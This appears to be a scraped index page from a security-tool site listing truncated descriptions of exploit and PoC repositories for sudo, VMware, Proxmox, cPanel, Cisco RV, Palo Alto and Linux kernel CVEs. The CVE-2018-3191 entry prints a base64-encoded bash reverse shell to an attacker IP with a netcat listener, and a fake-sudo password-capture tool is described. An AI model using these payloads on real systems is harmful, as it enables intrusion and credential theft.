CVE-2025-41244

CVE-2025-41244 VMware Aria Operations 및 VMware Tools에는 로컬 권한 상승 취약점이 있습니다. SDMP가 활성화된 Aria Operations에서 관리되고 VMware Tools가 설치된 VM에 접근 권한이 있는 비관리자 권한의 악의적인 로컬 사용자는 이 취약점을 악용하여 동일한 VM에서 root 권한으로 권한을 상승시킬 수 있습니다. 이 스크립트는 어떻게 실행하나요? 1. 여기에서 Nuclei를 다운로드하세요 2. 템플릿을 로컬 시스템에 복사하세요 3. 다음 명령어를 실행하세요:...

sudo-snooper

sudo-snooper sudo-snooper acts like the original sudo binary to fool users into entering their passwords. It will show a fake prompt just like the original to the user to enter their sudo password. This can be useful in penetration tests or security evaluations for testing user knowledge...

Proxmox VE - Default Credentials with TFA Bypass

Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement an...

CVE-2025-32463

🚨 CVE-2025-32463 — “Chwoot” 가장 널리 사용되는 Linux 권한 관리자에서 발견된 치명적인 로컬 권한 상승 취약점 sudoers 권한이 없는 사용자라도sudo -R만으로 몇 초 만에 루트가 될 수 있습니다 ⚠️ 개요 CVE-2025-32463"chroot-to-root "라고도 알려짐은 sudo 에서 발견된 치명적인 로컬 권한 상승 취약점입니다. 이 취약점을 통해 sudoers에 등록되지 않은 사용자를 포함한 모든 로컬 비특권 사용자 가 -R / --chroot 옵션만 사용하여 전체 루트 액세스 권한을 얻을...

CVE-2026-65643-PoC-Toolkit

CVE‑2026‑65643 – cPanel ドメインパーキング RCE ツールキット ⚠️ 倫理的な使用のみ – 許可されたセキュリティテスト このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスター のみを対象としたツールを提供します。 コンピュータシステムへの不正アクセスは、米国CFAA、英国Computer Misuse Act、トルコTCK 243/244、および世界各国の同様の法律 で違法とされています。 📖 脆弱性の概要 CVE‑2026‑65643 は、cPanel & WHM 11.x...

CVE-2026-31787

XSA-487 / CVE-2026-31787 LinuxカーネルのXenprivcmdドライバにおける二重解放 LinuxカーネルのXen privcmdドライバにおけるカーネルメモリの二重解放により、カーネルのロックダウン（セキュアブート）を回避できます。この脆弱性の悪用にはrootレベルのアクセスが必要であり、広範なセキュリティへの影響は限定的です。...

CVE-2026-38577

CVE-2026-38577 — Tenda HG21 ハードコードされたルート認証情報 概要 フィールド| 値 ---|--- CVE ID| CVE-2026-38577 ベンダー| Tenda 製品| Tenda HG21 XPON ファイバーモデム 影響を受けるバージョン| V4.0.0-260302 プロダクトキー| HG21-V1.0-TDE01 ハードウェアバージョン| V1.0 ファームウェアビルド日| 2026-03-02 ファームウェアファイル| USHG21re300002982enxpon2.zip 脆弱性クラス| CWE-798: ハードコードされた認証情報の使...

CVE-2023-0179-POC-

CVE-2023-0179 POC 크레딧: https://github.com/TurtleARM 재현 단계 Ubuntu-22.04.5-live-server-iso를 설치하고 해당 버전을 전체 설치하되, 시스템을 업데이트하지 마세요. Ubuntu 24.04.5 버전을 사용하는 가상 머신에 Linux 커널 6.1.6 버전을 설치하세요. 커널을 컴파일하기 위해 다음 바이너리를 설치하세요. root@kitploit: build-essential libncurses-dev bison flex libssl-dev libelf-dev bc...

CVE-2021-3490-POC

CVE-2021-3490 크레딧: https://github.com/chompie1337 재현 단계 Ubuntu Releases에서 ubuntu-20.04.6-live-server-amd64.iso를 다운로드하여 가상 머신에 설치합니다. root@kitploit: wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso ISO 설치 후, Ubuntu 서버를 가상 머신에 완전히 설치하고 다음 명령어를 실행합니다. root@kitploit: sudo a...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 漏洞利用实验室 概述 本项目演示了针对一个故意存在漏洞的机器 Metasploitable 2 的渗透测试工作流程。 目标在于识别、利用并分析 FTP 服务中的一个已知漏洞，最终实现 root 级别访问 并评估安全影响。 实验环境搭建 攻击机： Ubuntu（虚拟机） 目标机： Metasploitable 2（虚拟机） 网络配置： 仅主机网络（192.168.56.0/24） 目标验证 验证了目标系统及其网络配置： root@kitploit: whoami hostname ifconfig 连通性检查...

CVE-2024-3400-Palo-Alto-OS-Command-Injection

手順 : 1. デバイス上にファイル 0xr2r.txt が存在するかどうかを、以下のGETリクエストを実行して確認するか、ブラウザで以下のURLを開いて確認します。 https://domain.com/global-protect/portal/images/0xr2r.txt ブラウザでURLを開いてください。 404レスポンスが返ってきた場合、ファイルは存在しません。 root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: domain.com Cookie:...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT 영어 | فارسی 페르시아어 root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...

MAL-014

MAL-014: VMware vCenter Server における認証済み任意ファイル読み取り “com.vmware.appliance.version1.system.update.set” API コンポーネントはフラグインジェクション攻撃に対して脆弱であり、“com.vmware.showlog” プラグインと組み合わせることで、対象システム上で “root” ユーザーとして任意のファイルを読み取ることができます。 注: この脆弱性を悪用するには、vCenter SSH シェルへの admin...

Hijacker

Hijacker Hijacker는 침투 테스트 도구 Aircrack-ng, Airodump-ng, MDK3 및 Reaver를 위한 그래픽 사용자 인터페이스입니다. 콘솔에 명령을 입력하거나 MAC 주소를 복사&붙여넣기 하지 않고도 이러한 도구를 사용할 수 있는 간단하고 쉬운 UI를 제공합니다. 이 애플리케이션은 모니터 모드 를 지원하는 내부 무선 어댑터가 있는 ARM 안드로이드 장치가 필요합니다. 일부 안드로이드 장치는 지원하지만 기본적으로 지원하는 장치는 없습니다. 즉, 커스텀 펌웨어가 필요합니다. BCM4339...

celerystalk

celerystalk celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs aka tasks while retaining full control of which tools you want to run. Interactive Demo: Bug Bounty Mode HackerOne Interactive Demo: Vulnerability Assessment / PenTest Mode Retired...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...

CVE-2017-5618-Screen-4.5.0-Root

GNU Screen 4.5.0 로컬 권한 상승 익스플로잇 CVE-2017-5618 📌 개요 GNU Screen 4.5.0의 로컬 권한 상승 익스플로잇으로, ld.so.preload 조작을 통해 공유 라이브러리 로딩을 가로채 루트 액세스 를 획득합니다. 🔧 기술 세부 사항 취약점: CVE-2017-5618 유형: ld.so.preload를 통한 공유 라이브러리 하이재킹 영향: GNU Screen 4.5.0 독점 수정: GNU Screen 4.6.0+ 🎪 취약점 서커스 CVE: 2017-5618 🎯 버그: Screen 4.5.0이...

CVE-2023-5521

CVE-2023-5521 KernelSUにおける署名偽装によるルート奪取 詳細レポート https://huntr.dev/bounties/d438eff7-4e24-45e0-bc75-d3a5b3ab2ea1/...

CVE-2018-17873

CVE-2018-17873 WiFiRanger 실내 라우터Core, GoAC 및 그와 짝을 이루는 실외 라우터Sky Pro, EliteAC, EliteAC FM에서 펌웨어 버전 7.0.8rc3 및 이전 버전을 실행하는 경우 익명 FTP 읽기/쓰기 액세스를 허용하고 SSH 개인 키를 평문으로 남겨두어 키를 보고 복사한 후 루트 권한으로 로그인하는 것을 간단하게 만듭니다. 이 취약점을 악용하려면 인접 네트워크 액세스가 필요합니다. 익스플로잇: 개인 키를 가져와 루트로 로그인하는 매우 간단한 셸 스크립트입니다. 사용법:...